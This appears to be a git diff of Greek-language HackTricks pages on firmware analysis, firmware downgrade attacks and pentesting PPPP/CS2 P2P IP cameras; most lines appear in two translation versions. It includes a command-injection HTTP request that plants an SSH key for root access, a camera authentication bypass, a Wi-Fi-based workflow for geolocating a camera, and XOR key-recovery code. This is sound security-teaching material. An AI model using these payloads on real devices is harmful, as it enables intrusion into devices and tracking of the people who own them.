Χρησιμοποιώντας το `binwalk -ev <bin>`, μπορεί κανείς συνήθως να εξάγει το σύστημα αρχείων, συχνά σε έναν φάκελο που ονομάζεται σύμφωνα με τον τύπο του συστήματος αρχείων (π.χ., squashfs, ubifs). Ωστόσο, όταν το **binwalk** αποτυγχάνει να αναγνωρίσει τον τύπο του συστήματος αρχείων λόγω έλλειψης μαγικών byte, είναι απαραίτητη η χειροκίνητη εξαγωγή. Αυτό περιλαμβάνει τη χρήση του `binwalk` για τον εντοπισμό της μετατόπισης του συστήματος αρχείων, ακολουθούμενη από την εντολή `dd` για την εξαγωγή του συστήματος αρχείων:
Χρησιμοποιώντας `binwalk -ev <bin>`, συνήθως μπορεί κανείς να εξαγάγει το filesystem, συχνά σε έναν κατάλογο ονοματισμένο από τον τύπο του filesystem (π.χ. squashfs, ubifs). Ωστόσο, όταν το **binwalk** αποτύχει να αναγνωρίσει τον τύπο του filesystem λόγω έλλειψης magic bytes, απαιτείται χειροκίνητη εξαγωγή. Αυτό περιλαμβάνει τη χρήση του `binwalk` για τον εντοπισμό του filesystem offset, ακολουθούμενο από την εντολή `dd` για να carve out το filesystem:
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Μετά, ανάλογα με τον τύπο του συστήματος αρχείων (π.χ., squashfs, cpio, jffs2, ubifs), χρησιμοποιούνται διαφορετικές εντολές για την χειροκίνητη εξαγωγή των περιεχομένων.
Στη συνέχεια, ανάλογα με τον τύπο του filesystem (π.χ. squashfs, cpio, jffs2, ubifs), χρησιμοποιούνται διαφορετικές εντολές για χειροκίνητη εξαγωγή του περιεχομένου.
### Ανάλυση Συστήματος Αρχείων
### Ανάλυση συστήματος αρχείων
Με το σύστημα αρχείων εξαγμένο, η αναζήτηση για αδυναμίες ασφαλείας αρχίζει. Δίνεται προσοχή σε ανασφαλείς δικτυακούς δαίμονες, σκληρά κωδικοποιημένα διαπιστευτήρια, API endpoints, λειτουργίες ενημέρωσης διακομιστών, μη μεταγλωττισμένο κώδικα, σενάρια εκκίνησης και μεταγλωττισμένα δυαδικά για ανάλυση εκτός σύνδεσης.
Με το σύστημα αρχείων εξαγμένο, ξεκινά η αναζήτηση για ευπάθειες. Δίνεται προσοχή σε insecure network daemons, hardcoded credentials, API endpoints, update server functionalities, uncompiled code, startup scripts και compiled binaries για offline analysis.
**Κύριες τοποθεσίες** και **αντικείμενα** προς επιθεώρηση περιλαμβάνουν:
**Κύριες τοποθεσίες** και **αντικείμενα** προς έλεγχο περιλαμβάνουν:
- **etc/shadow** και **etc/passwd** για διαπιστευτήρια χρηστών
- Πιστοποιητικά SSL και κλειδιά στο **etc/ssl**
- Αρχεία ρυθμίσεων και σεναρίων για πιθανές ευπάθειες
- Ενσωματωμένα δυαδικά για περαιτέρω ανάλυση
- Κοινές διαδικτυακές υπηρεσίες και δυαδικά IoT συσκευών
- Αρχεία ρυθμίσεων και script για πιθανές ευπάθειες
- Ενσωματωμένα binaries για περαιτέρω ανάλυση
- Συνήθεις web servers και binaries σε συσκευές IoT
Πολλά εργαλεία βοηθούν στην αποκάλυψη ευαίσθητων πληροφοριών και ευπαθειών εντός του συστήματος αρχείων:
Πολλά εργαλεία βοηθούν στον εντοπισμό ευαίσθητων πληροφοριών και ευπαθειών μέσα στο σύστημα αρχείων:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) και [**Firmwalker**](https://github.com/craigz28/firmwalker) για αναζήτηση ευαίσθητων πληροφοριών
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) για ολοκληρωμένη ανάλυση firmware
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), και [**EMBA**](https://github.com/e-m-b-a/emba) για στατική και δυναμική ανάλυση
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go) και [**EMBA**](https://github.com/e-m-b-a/emba) για στατική και δυναμική ανάλυση
### Έλεγχοι Ασφαλείας σε Μεταγλωττισμένα Δυαδικά
### Έλεγχοι ασφάλειας σε compiled binaries
Τόσο ο πηγαίος κώδικας όσο και τα μεταγλωττισμένα δυαδικά που βρίσκονται στο σύστημα αρχείων πρέπει να εξετάζονται για ευπάθειες. Εργαλεία όπως το **checksec.sh** για δυαδικά Unix και το **PESecurity** για δυαδικά Windows βοηθούν στην αναγνώριση μη προστατευμένων δυαδικών που θα μπορούσαν να εκμεταλλευτούν.
Τόσο ο πηγαίος κώδικας όσο και τα compiled binaries που βρέθηκαν στο σύστημα αρχείων πρέπει να ελεγχθούν σχολαστικά για ευπάθειες. Εργαλεία όπως το **checksec.sh** για Unix binaries και το **PESecurity** για Windows binaries βοηθούν στον εντοπισμό μη προστατευμένων binaries που θα μπορούσαν να εκμεταλλευτούν επιτιθέμενοι.
## Προσομοίωση Firmware για Δυναμική Ανάλυση
## Εξομοίωση firmware για δυναμική ανάλυση
Η διαδικασία προσομοίωσης firmware επιτρέπει τη **δυναμική ανάλυση** είτε της λειτουργίας μιας συσκευής είτε ενός μεμονωμένου προγράμματος. Αυτή η προσέγγιση μπορεί να συναντήσει προκλήσεις με εξαρτήσεις υλικού ή αρχιτεκτονικής, αλλά η μεταφορά του ριζικού συστήματος αρχείων ή συγκεκριμένων δυαδικών σε μια συσκευή με αντίστοιχη αρχιτεκτονική και εντολή, όπως ένα Raspberry Pi, ή σε μια προ-κατασκευασμένη εικονική μηχανή, μπορεί να διευκολύνει περαιτέρω δοκιμές.
Η διαδικασία εξομοίωσης firmware επιτρέπει τη **dynamic analysis** είτε της λειτουργίας μιας συσκευής είτε ενός μεμονωμένου προγράμματος. Αυτή η προσέγγιση μπορεί να αντιμετωπίσει προβλήματα λόγω εξαρτήσεων από hardware ή αρχιτεκτονική, αλλά η μεταφορά του root filesystem ή συγκεκριμένων binaries σε μια συσκευή με συμβατή αρχιτεκτονική και endianness, όπως ένα Raspberry Pi, ή σε μια pre-built virtual machine, μπορεί να διευκολύνει περαιτέρω δοκιμές.
### Προσομοίωση Μεμονωμένων Δυαδικών
### Εξομοίωση μεμονωμένων binaries
Για την εξέταση μεμονωμένων προγραμμάτων, η αναγνώριση της εντολής και της αρχιτεκτονικής CPU του προγράμματος είναι κρίσιμη.
Για την εξέταση μεμονωμένων προγραμμάτων, η αναγνώριση του endianness και της αρχιτεκτονικής CPU του προγράμματος είναι κρίσιμη.
#### Παράδειγμα με Αρχιτεκτονική MIPS
#### Παράδειγμα με αρχιτεκτονική MIPS
Για να προσομοιωθεί ένα δυαδικό αρχιτεκτονικής MIPS, μπορεί να χρησιμοποιηθεί η εντολή:
Για να εξομοιωθεί ένα binary αρχιτεκτονικής MIPS, μπορεί να χρησιμοποιηθεί η εντολή:
```bash
file ./squashfs-root/bin/busybox
```
Και για να εγκαταστήσετε τα απαραίτητα εργαλεία προσομοίωσης:
Και για να εγκαταστήσετε τα απαραίτητα εργαλεία εξομοίωσης:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
Για MIPS (big-endian), χρησιμοποιείται το `qemu-mips`, και για little-endian δυαδικά, η επιλογή είναι το `qemu-mipsel`.
Για MIPS (big-endian), το `qemu-mips` χρησιμοποιείται, ενώ για little-endian binaries, επιλογή είναι το `qemu-mipsel`.
#### Προσομοίωση Αρχιτεκτονικής ARM
#### Προσομοίωση αρχιτεκτονικής ARM
Για δυαδικά ARM, η διαδικασία είναι παρόμοια, με τον προσομοιωτή `qemu-arm` να χρησιμοποιείται για την προσομοίωση.
Για ARM binaries, η διαδικασία είναι παρόμοια, με τον emulator `qemu-arm` να χρησιμοποιείται για την προσομοίωση.
### Πλήρης Προσομοίωση Συστήματος
### Πλήρης προσομοίωση συστήματος
Εργαλεία όπως το [Firmadyne](https://github.com/firmadyne/firmadyne), το [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), και άλλα, διευκολύνουν την πλήρη προσομοίωση firmware, αυτοματοποιώντας τη διαδικασία και βοηθώντας στην δυναμική ανάλυση.
Εργαλεία όπως [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), και άλλα, διευκολύνουν την πλήρη προσομοίωση firmware, αυτοματοποιώντας τη διαδικασία και βοηθώντας στη δυναμική ανάλυση.
## Δυναμική Ανάλυση στην Πράξη
## Δυναμική ανάλυση στην πράξη
Σε αυτό το στάδιο, χρησιμοποιείται είτε ένα πραγματικό είτε ένα προσομοιωμένο περιβάλλον συσκευής για ανάλυση. Είναι απαραίτητο να διατηρείται η πρόσβαση στο shell του OS και του filesystem. Η προσομοίωση μπορεί να μην μιμείται τέλεια τις αλληλεπιδράσεις του υλικού, απαιτώντας περιστασιακές επανεκκινήσεις προσομοίωσης. Η ανάλυση θα πρέπει να επανεξετάσει το filesystem, να εκμεταλλευτεί τις εκτεθειμένες ιστοσελίδες και υπηρεσίες δικτύου, και να εξερευνήσει τις ευπάθειες του bootloader. Οι δοκιμές ακεραιότητας firmware είναι κρίσιμες για την αναγνώριση πιθανών ευπαθειών backdoor.
Σε αυτό το στάδιο, χρησιμοποιείται είτε πραγματικό είτε εξομοιωμένο περιβάλλον συσκευής για ανάλυση. Είναι κρίσιμο να διατηρείται πρόσβαση σε shell προς το OS και το filesystem. Η εξομοίωση μπορεί να μην μιμηθεί τέλεια τις αλληλεπιδράσεις με το hardware, γεγονός που απαιτεί περιστασιακές επανεκκινήσεις της εξομοίωσης. Η ανάλυση πρέπει να επανεξετάζει το filesystem, να εκμεταλλεύεται εκτεθειμένες ιστοσελίδες και network services, και να ερευνά ευπάθειες στον bootloader. Τα tests ακεραιότητας του firmware είναι κρίσιμα για τον εντοπισμό πιθανών backdoor ευπαθειών.
## Τεχνικές Ανάλυσης σε Χρόνο Εκτέλεσης
## Τεχνικές Runtime ανάλυσης
Η ανάλυση σε χρόνο εκτέλεσης περιλαμβάνει την αλληλεπίδραση με μια διαδικασία ή δυαδικό στο λειτουργικό του περιβάλλον, χρησιμοποιώντας εργαλεία όπως το gdb-multiarch, το Frida και το Ghidra για τη ρύθμιση σημείων διακοπής και την αναγνώριση ευπαθειών μέσω fuzzing και άλλων τεχνικών.
Η runtime ανάλυση περιλαμβάνει αλληλεπίδραση με μια διεργασία ή binary στο περιβάλλον εκτέλεσής του, χρησιμοποιώντας εργαλεία όπως gdb-multiarch, Frida, και Ghidra για την τοποθέτηση breakpoints και τον εντοπισμό ευπαθειών μέσω fuzzing και άλλων τεχνικών.
## Εκμετάλλευση Δυαδικών και Απόδειξη της Έννοιας
## Binary Exploitation and Proof-of-Concept
Η ανάπτυξη ενός PoC για τις αναγνωρισμένες ευπάθειες απαιτεί βαθιά κατανόηση της αρχιτεκτονικής στόχου και προγραμματισμό σε γλώσσες χαμηλού επιπέδου. Οι προστασίες σε χρόνο εκτέλεσης δυαδικών σε ενσωματωμένα συστήματα είναι σπάνιες, αλλά όταν υπάρχουν, τεχνικές όπως το Return Oriented Programming (ROP) μπορεί να είναι απαραίτητες.
Η ανάπτυξη ενός PoC για εντοπισμένες ευπάθειες απαιτεί βαθιά κατανόηση της στόχου αρχιτεκτονικής και προγραμματισμό σε χαμηλού επιπέδου γλώσσες. Οι binary runtime protections σε embedded συστήματα είναι σπάνιες, αλλά όταν υπάρχουν, τεχνικές όπως Return Oriented Programming (ROP) μπορεί να είναι απαραίτητες.
## Προετοιμασμένα Λειτουργικά Συστήματα για Ανάλυση Firmware
## Προ-εγκατεστημένα λειτουργικά συστήματα για ανάλυση firmware
Λειτουργικά συστήματα όπως το [AttifyOS](https://github.com/adi0x90/attifyos) και το [EmbedOS](https://github.com/scriptingxss/EmbedOS) παρέχουν προρυθμισμένα περιβάλλοντα για δοκιμές ασφάλειας firmware, εξοπλισμένα με τα απαραίτητα εργαλεία.
Λειτουργικά όπως [AttifyOS](https://github.com/adi0x90/attifyos) και [EmbedOS](https://github.com/scriptingxss/EmbedOS) παρέχουν προ-διαμορφωμένα περιβάλλοντα για testing ασφάλειας firmware, εξοπλισμένα με τα απαραίτητα εργαλεία.
## Προετοιμασμένα OS για ανάλυση Firmware
## Prepared OSs to analyze Firmware
- [**AttifyOS**](https://github.com/adi0x90/attifyos): Το AttifyOS είναι μια διανομή που προορίζεται να σας βοηθήσει να εκτελέσετε αξιολόγηση ασφάλειας και δοκιμές διείσδυσης συσκευών Internet of Things (IoT). Σας εξοικονομεί πολύ χρόνο παρέχοντας ένα προρυθμισμένο περιβάλλον με όλα τα απαραίτητα εργαλεία φορτωμένα.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Λειτουργικό σύστημα δοκιμών ασφάλειας ενσωματωμένων συστημάτων βασισμένο στο Ubuntu 18.04 με προφορτωμένα εργαλεία δοκιμών ασφάλειας firmware.
- [**AttifyOS**](https://github.com/adi0x90/attifyos): Το AttifyOS είναι ένα distro που στοχεύει να σας βοηθήσει να πραγματοποιήσετε security assessment και penetration testing των Internet of Things (IoT) συσκευών. Σας εξοικονομεί χρόνο παρέχοντας ένα προ-διαμορφωμένο περιβάλλον με όλα τα απαραίτητα εργαλεία.
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Embedded security testing operating system βασισμένο σε Ubuntu 18.04, προφορτωμένο με εργαλεία για firmware security testing.
## Επιθέσεις Υποβάθμισης Firmware & Ανασφαλείς Μηχανισμοί Ενημέρωσης
## Firmware Downgrade Attacks & Insecure Update Mechanisms
Ακόμα και όταν ένας προμηθευτής εφαρμόζει ελέγχους κρυπτογραφικής υπογραφής για εικόνες firmware, **η προστασία από υποβάθμιση (rollback) εκλείπει συχνά**. Όταν ο boot- ή recovery-loader επαληθεύει μόνο την υπογραφή με μια ενσωματωμένη δημόσια κλειδί αλλά δεν συγκρίνει την *έκδοση* (ή έναν μονοτονικό μετρητή) της εικόνας που αναβοσβήνει, ένας επιτιθέμενος μπορεί νόμιμα να εγκαταστήσει ένα **παλαιότερο, ευάλωτο firmware που εξακολουθεί να φέρει μια έγκυρη υπογραφή** και έτσι να επαναφέρει τις ευπάθειες που έχουν διορθωθεί.
Ακόμα και όταν ένας vendor εφαρμόζει cryptographic signature checks για εικόνες firmware, **version rollback (downgrade) protection is frequently omitted**. Όταν ο boot- ή recovery-loader επαληθεύει μόνο τη υπογραφή με ένα ενσωματωμένο public key αλλά δεν συγκρίνει την *version* (ή έναν monotonic counter) της εικόνας που θα φλασαριστεί, ένας επιτιθέμενος μπορεί νόμιμα να εγκαταστήσει ένα **παλαιότερο, ευάλωτο firmware που εξακολουθεί να φέρει έγκυρη υπογραφή** και έτσι να επανεισάγει ευπάθειες που είχαν επιδιορθωθεί.
Τυπική ροή επίθεσης:
1. **Αποκτήστε μια παλαιότερη υπογεγραμμένη εικόνα**
* Αποκτήστε την από την δημόσια πύλη λήψης του προμηθευτή, CDN ή ιστότοπο υποστήριξης.
* Εξαγάγετε την από συνοδευτικές εφαρμογές κινητών/επιτραπέζιων υπολογιστών (π.χ. μέσα σε ένα Android APK κάτω από `assets/firmware/`).
* Ανακτήστε την από τρίτους αποθετήρια όπως το VirusTotal, αρχεία του διαδικτύου, φόρουμ κ.λπ.
2. **Ανεβάστε ή εξυπηρετήστε την εικόνα στη συσκευή** μέσω οποιουδήποτε εκτεθειμένου καναλιού ενημέρωσης:
* Web UI, API εφαρμογής κινητού, USB, TFTP, MQTT, κ.λπ.
* Πολλές συσκευές IoT καταναλωτών εκθέτουν *μη αυθεντικοποιημένα* HTTP(S) endpoints που δέχονται Base64-encoded firmware blobs, τα αποκωδικοποιούν στην πλευρά του διακομιστή και ενεργοποιούν την ανάκτηση/αναβάθμιση.
3. Μετά την υποβάθμιση, εκμεταλλευτείτε μια ευπάθεια που έχει διορθωθεί στην νεότερη έκδοση (για παράδειγμα, ένα φίλτρο εντολών που προστέθηκε αργότερα).
4. Προαιρετικά, αναβοσβήστε την τελευταία εικόνα πίσω ή απενεργοποιήστε τις ενημερώσεις για να αποφύγετε την ανίχνευση μόλις αποκτηθεί η επιμονή.
1. **Obtain an older signed image**
* Λήψη από το δημόσιο portal λήψεων του προμηθευτή, CDN ή site υποστήριξης.
* Εξαγωγή από συνοδευτικές mobile/desktop εφαρμογές (π.χ. μέσα σε ένα Android APK κάτω από `assets/firmware/`).
* Ανάκτηση από third-party repositories όπως VirusTotal, Internet archives, forums, κ.λπ.
2. **Upload or serve the image to the device** μέσω οποιουδήποτε εκτεθειμένου update channel:
* Web UI, mobile-app API, USB, TFTP, MQTT, κ.λπ.
* Πολλές καταναλωτικές IoT συσκευές εκθέτουν *unauthenticated* HTTP(S) endpoints που δέχονται Base64-encoded firmware blobs, τα αποκωδικοποιούν server-side και ενεργοποιούν recovery/upgrade.
3. Μετά το downgrade, εκμετάλλευση μιας ευπάθειας που είχε επιδιορθωθεί στη νεότερη έκδοση (για παράδειγμα ένα command-injection filter που προστέθηκε αργότερα).
4. Προαιρετικά, φλάς ξανά την τελευταία εικόνα ή απενεργοποίηση των updates για να αποφευχθεί η ανίχνευση μόλις αποκτηθεί persistence.
### Παράδειγμα: Εκτέλεση Εντολών Μετά την Υποβάθμιση
### Παράδειγμα: Command Injection μετά από Downgrade
```http
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
Host: 192.168.0.1
Content-Type: application/octet-stream
Content-Length: 0
```
Στο ευάλωτο (υποβαθμισμένο) firmware, η παράμετρος `md5` συνενώνεται απευθείας σε μια εντολή shell χωρίς απολύμανση, επιτρέποντας την εισαγωγή αυθαίρετων εντολών (εδώ ενεργοποίηση πρόσβασης root με βάση το SSH key). Οι μεταγενέστερες εκδόσεις firmware εισήγαγαν ένα βασικό φίλτρο χαρακτήρων, αλλά η απουσία προστασίας από υποβάθμιση καθιστά την επιδιόρθωση άσκοπη.
Στο ευάλωτο (downgraded) firmware, η παράμετρος `md5` συγχωνεύεται απευθείας σε μια εντολή shell χωρίς απολύμανση, επιτρέποντας injection αυθαίρετων εντολών (εδώ — ενεργοποίηση SSH key-based root access). Αργότερες εκδόσεις firmware εισήγαγαν ένα βασικό φίλτρο χαρακτήρων, αλλά η απουσία προστασίας downgrade καθιστά την επιδιόρθωση άσκοπη.
### Εξαγωγή Firmware Από Κινητές Εφαρμογές
### Εξαγωγή Firmware από Εφαρμογές για Κινητά
Πολλοί προμηθευτές συσκευάζουν πλήρεις εικόνες firmware μέσα στις συνοδευτικές κινητές εφαρμογές τους, ώστε η εφαρμογή να μπορεί να ενημερώνει τη συσκευή μέσω Bluetooth/Wi-Fi. Αυτά τα πακέτα αποθηκεύονται συνήθως χωρίς κρυπτογράφηση στο APK/APEX κάτω από διαδρομές όπως `assets/fw/` ή `res/raw/`. Εργαλεία όπως το `apktool`, το `ghidra`, ή ακόμα και το απλό `unzip` σας επιτρέπουν να εξάγετε υπογεγραμμένες εικόνες χωρίς να αγγίξετε το φυσικό υλικό.
Πολλοί κατασκευαστές συσκευάζουν πλήρεις εικόνες firmware μέσα στις συνοδευτικές εφαρμογές για κινητά, ώστε η εφαρμογή να μπορεί να ενημερώνει τη συσκευή μέσω Bluetooth/Wi-Fi. Αυτά τα πακέτα συνήθως αποθηκεύονται χωρίς κρυπτογράφηση στο APK/APEX κάτω από μονοπάτια όπως `assets/fw/` ή `res/raw/`. Εργαλεία όπως `apktool`, `ghidra` ή ακόμα και το απλό `unzip` σας επιτρέπουν να εξαγάγετε υπογεγραμμένες εικόνες χωρίς να αγγίξετε το φυσικό hardware.
```
$ apktool d vendor-app.apk -o vendor-app
$ ls vendor-app/assets/firmware
firmware_v1.3.11.490_signed.bin
```
### Λίστα Ελέγχου για την Αξιολόγηση Λογικής Ενημέρωσης
### Λίστα ελέγχου για την αξιολόγηση της λογικής ενημέρωσης
* Είναι η μεταφορά/αυθεντικοποίηση του *endpoint ενημέρωσης* επαρκώς προστατευμένη (TLS + αυθεντικοποίηση);
* Συγκρίνει η συσκευή **αριθμούς εκδόσεων** ή έναν **μονοτονικό μετρητή αντεπίστροφης αναίρεσης** πριν από την αναβάθμιση;
* Επαληθεύεται η εικόνα μέσα σε μια ασφαλή αλυσίδα εκκίνησης (π.χ. υπογραφές που ελέγχονται από κώδικα ROM);
* Εκτελεί ο κώδικας του χρήστη επιπλέον ελέγχους εγκυρότητας (π.χ. επιτρεπόμενος χάρτης κατατμήσεων, αριθμός μοντέλου);
* Χρησιμοποιούν οι ροές *μερικής* ή *αντίγραφης* ενημέρωσης την ίδια λογική επικύρωσης;
* Είναι η μεταφορά/αυθεντικοποίηση του *update endpoint* επαρκώς προστατευμένη (TLS + authentication);
* Συγκρίνει η συσκευή **version numbers** ή **monotonic anti-rollback counter** πριν το flashing;
* Επαληθεύεται η image μέσα σε secure boot chain (π.χ. signatures checked by ROM code);
* Εκτελεί το userland code επιπλέον ελέγχους ορθότητας (π.χ. allowed partition map, model number);
* Επαναχρησιμοποιούν οι ροές ενημέρωσης *partial* ή *backup* την ίδια λογική επαλήθευσης;
> 💡 Εάν λείπει οποιοδήποτε από τα παραπάνω, η πλατφόρμα είναι πιθανό να είναι ευάλωτη σε επιθέσεις αντεπίστροφης αναίρεσης.
> 💡 Εάν οποιοδήποτε από τα παραπάνω λείπει, η πλατφόρμα πιθανότατα είναι ευάλωτη σε rollback attacks.
## Ευάλωτο firmware για πρακτική
## Ευάλωτο firmware για εξάσκηση
Για να εξασκηθείτε στην ανακάλυψη ευπαθειών σε firmware, χρησιμοποιήστε τα παρακάτω ευάλωτα έργα firmware ως σημείο εκκίνησης.
Για εξάσκηση στην ανακάλυψη ευπαθειών σε firmware, χρησιμοποιήστε τα παρακάτω vulnerable firmware projects ως σημείο εκκίνησης.
- OWASP IoTGoat
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
- Το Έργο Firmware Ρουτερ με Σημαντικές Ευπάθειες
- The Damn Vulnerable Router Firmware Project
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
- Damn Vulnerable ARM Router (DVAR)
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
@ -283,7 +290,7 @@ firmware_v1.3.11.490_signed.bin
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
- [Exploiting zero days in abandoned hardware Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
## Εκπαίδευση και Πιστοποίηση
## Εκπαίδευση και Πιστοποιήσεις
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)

BIN
src/images/k8studio.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.5 KiB

View File

@ -0,0 +1,165 @@
# 32100/UDP - Pentesting PPPP (CS2) P2P Κάμερες
{{#include ../banners/hacktricks-training.md}}
## Επισκόπηση
PPPP (a.k.a. “P2P”) είναι ένα ιδιόκτητο device connectivity stack της CS2 Network που ενσωματώνεται ευρέως σε low-cost IP cameras και άλλα IoT devices. Παρέχει rendezvous, NAT traversal (UDP hole punching), ένα application-layer “reliable” stream πάνω από UDP, και ένα ID-based addressing scheme, επιτρέποντας σε ένα mobile/desktop app να προσεγγίσει συσκευές οπουδήποτε στο Internet γνωρίζοντας μόνο ένα device ID.
Βασικά χαρακτηριστικά σημαντικά για επιτιθέμενους:
- Οι συσκευές κάνουν register σε τρεις vendor-operated rendezvous servers ανά prefix ID. Οι clients κάνουν query στους ίδιους servers για να βρουν το external/relay address της συσκευής, και μετά επιχειρούν UDP hole punching. Υπάρχει relay fallback.
- O default server listener είναι προσβάσιμος μέσω UDP/32100. Μια ελάχιστη “hello” probe αρκεί για να fingerprintάρει servers και μερικές συσκευές.
- Υπάρχει προαιρετικό blanket cipher και μια ειδική λειτουργία “CRCEnc”, αλλά είναι αδύναμα εκ σχεδίου και τυπικά απενεργοποιημένα σε δημοφιλή ecosystems (π.χ., LookCam).
- Το control plane είναι συνήθως JSON commands πάνω στο PPPP stream και συχνά υποφέρει από missing auth και memory-safety bugs.
Τυπική μορφή device ID (οικογένεια LookCam): PREFIX-######-CCCCC, συντομεύεται στις apps (π.χ., GHBB-000001-NRLXW → G000001NRLXW). Παρατηρούμενα prefixes: BHCC ("hekai"), FHBB και GHBB ("mykj").
## Ανακάλυψη και Εντοπισμός
- Internet exposure: πολλοί PPPP super-nodes απαντούν σε 32100/UDP probe. Known plaintext και error-string responses τα κάνουν εύκολα αναγνωρίσιμα σε traffic captures και με Internet scanners.
- LAN discovery: συσκευές συχνά απαντούν σε unencrypted search στο local broadcast. Χρησιμοποιήστε το script του Paul Marrapese για enumeration:
- [https://github.com/pmarrapese/iot/tree/master/p2p/lansearch](https://github.com/pmarrapese/iot/tree/master/p2p/lansearch)
Σημειώσεις:
- Οι εφαρμογές ενσωματώνουν “init strings” που περιέχουν obfuscated server IP lists και protocol keys. Αυτά τα strings εξάγονται trivially από Android/iOS/Windows clients και συχνά επαναχρησιμοποιούνται σε πολλές product lines.
## NAT Traversal και Μεταφορά
- Οι rendezvous servers μαθαίνουν το public mapping της συσκευής μέσω περιοδικών keepalives από τη συσκευή. Οι clients κάνουν query στους servers για το mapping και στη συνέχεια επιχειρούν direct UDP flows χρησιμοποιώντας hole punching. Αν το NAT traversal αποτύχει, το traffic αναμεταδίδεται από καθορισμένους PPPP relay hosts.
- Το application “stream” υλοποιεί δικό του ACK/retx logic πάνω από UDP· τα retransmission loops είναι διπλογραμμένα σε πολλαπλά code paths και μπορούν να πλημμυρίσουν lossy links.
## Αδύναμη “Encryption” και Ανάκτηση Κλειδιού
Υπάρχουν δύο αναποτελεσματικοί μηχανισμοί στο CS2 stack:
1) Blanket cipher (optional) P2P_Proprietary_Encrypt
- Συνήθως απενεργοποιημένο από OEMs που χρησιμοποιούν LookCam.
- Το app-side “init string” παρέχει το key material που μειώνεται σε ένα effective 4-byte key (~2^32 space).
- Practical known-plaintext: τα πρώτα 4 bytes του MSG_HELLO προς UDP/32100 είναι γνωστά και είναι F1 00 00 00. Η παρατήρηση ενός μόνο encrypted handshake επιτρέπει ταχεία ανάκτηση ή validation του κλειδιού.
- Μερικά control messages (π.χ., MSG_REPORT_SESSION_READY) είναι πάντα encrypted με ένα library-hardcoded key κοινό μεταξύ των apps.
2) Registration “encryption” PPPP_CRCEnc
- Παρά το όνομα, αυτό δεν είναι CRC. Πρόκειται για ένα fixed repeating XOR keystream με έναν 4-byte padding check (μη authenticated).
- Τα LookCam networks τυπικά χρησιμοποιούν CRCEnc μόνο για το device → server registration (MSG_DEV_LGN_CRC). Το υπόλοιπο traffic παραμένει plaintext.
Simple keystream recovery for PPPP_CRCEnc (Python):
```python
# ciphertext: captured bytes of an encrypted registration message
# known: guessed/known plaintext region (e.g., JSON or constant header)
keystream = bytes([c ^ p for c, p in zip(ciphertext[:len(known)], known)])
# Decrypt more bytes by XORing with the repeating keystream
pt = bytes([c ^ keystream[i % len(keystream)] for i, c in enumerate(ciphertext)])
```
Ασυμφωνία στο μοντέλο απειλών: Το CS2 υλικό επικεντρώνεται στην αποτροπή DoS μέσω ψεύτικων εγγραφών συσκευών, όχι στην εμπιστευτικότητα. Αυτό εξηγεί την επιλεκτική «encryption» της εγγραφής ενώ το video/control παραμένουν προαιρετικά ή σε cleartext. Ιστορικοί PPPP servers δεν εφαρμόζουν rate limiting, επιτρέποντας brute-force/abuse σε μεγάλη κλίμακα.
## Επίπεδο Ελέγχου: JSON Commands και Auth Bypass
Πολλά firmwares καμερών PPPP ανταλλάσσουν JSON μηνύματα μόλις ανοίξει η συνεδρία. Παράδειγμα του “login” που στέλνει ο client:
```json
{
"cmd": "LoginDev",
"pwd": "123456"
}
```
Common vulnerability in LookCam-class devices:
- Το firmware αγνοεί τόσο τη ροή LoginDev όσο και τα πεδία pwd ανά αίτημα (CWE-287, CWE-306). Η συσκευή δέχεται εντολές λειτουργίας χωρίς να επικυρώνει κωδικό πρόσβασης.
- Exploitation: μην στέλνετε LoginDev ή αγνοήστε το αποτέλεσμα· στείλτε τις εντολές απευθείας.
Useful commands observed:
- searchWiFiList εκτελεί εξωτερικά το iwlist; αφήνει το raw output στο /tmp/wifi_scan.txt.
- DownloadFile arbitrary path read primitive χωρίς περιορισμούς στο path.
Ροή εργασίας για αποανωνυμοποίηση τοποθεσίας μέσω παροδικών artifacts:
1) Στείλτε {"cmd":"searchWiFiList"}.
2) Διαβάστε το /tmp/wifi_scan.txt μέσω DownloadFile.
3) Υποβάλετε τα BSSID MACs σε ένα geolocation API (π.χ., Google Geolocation API) για να εντοπίσετε την κάμερα με ακρίβεια δεκάδων μέτρων.
## Από Memory-Safety σε RCE σε Embedded Firmware
Τυπικό unsafe pattern (pseudocode από handlers):
```c
char buf[256];
char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
memset(buf, 0, sizeof(buf));
memcpy(buf, cmd, strlen(cmd)); // no bound check
```
- Προκαλεί: οποιαδήποτε συμβολοσειρά cmd > 255 bytes προκαλεί stack buffer overflow (CWE-120/121).
- Προστασίες: no stack canary; DEP/NX και ASLR συχνά απενεργοποιημένα σε αυτές τις builds.
